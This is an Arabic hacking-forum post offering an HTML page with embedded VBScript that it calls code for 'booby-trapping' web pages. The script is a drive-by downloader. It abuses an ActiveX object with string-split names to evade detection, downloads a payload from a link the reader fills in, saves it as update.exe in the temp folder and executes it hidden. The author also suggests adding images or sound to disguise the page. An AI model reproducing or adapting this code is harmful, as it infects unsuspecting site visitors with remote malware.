السلام عليكم ورحمة الله
اقدم لكم اخواني في هذا الصرح العظيم كود بلغة HTML لتلغيم الصفحات المكتوبة بهذه اللغة
تابع واستبدل اللازم في الكود
كود:
<HTML>
<BODY>
<script language="VBScript">
on error resume next dl = [COLOR="#FF0000">"هنا تضع رابط باتشك المباشر"[/COLOR] Set df = document.createElement("object") cls1="clsid:BD96" cls2="C556-65A" cls3="3-11D0-9" cls4="83A-00C04FC29E36" clsfull=cls1&cls2&cls3&cls4 df.setAttribute "classid",clsfull strr1="Mic" strr2="roso" strr3="ft." strr4="XML" strr5="HTTP" strr=strr1&strr2&strr3&strr4&strr5 Set x = df.CreateObject(strr,"") ab1="A" ab2="dod" ab3="b.S" ab4="t" ab5="re" ab6="am" strb1=ab1&ab2&ab3&ab4&ab5&ab6 strb5=strb1 set YY = df.createobject(strb5,"") YY.type = 1 str6="GET" x.Open str6, dl, False x.Send fnamezz1="update.exe" scripp1="Scrip" scripp2="ting" scripp3=".Fil" scripp4="eSyste" scripp5="mObject" scripp=scripp1&scripp2&scripp3&scripp4&scripp5 set FF = df.createobject(scripp,"") set tmp = F.GetSpecialFolder(2) fnamezz1= FF.BuildPath(tmp,fnamezz1) YY.open YY.write x.responseBody YY.savetofile fnamezz1,2 YY.close set MM = df.createobject("Shell.Application","") MM.ShellExecute fnamezz1,"","","open",0 </script> </BODY> </HTML>
المصدر شبكة الصاعقة العربية لتعليم الهكرز http://forum.sa3eka.com/soft2503.html#ixzz2EsC1Euey
طبعا لو تضيف بعض الزيادات على الكود مثل ادراج صورة أو صوت بيكون نور على نور
وفي الختام أستودعكم الله
وأرجو دعوة لي بظهر الغيب
أخوكم
BlAcK HuNtEr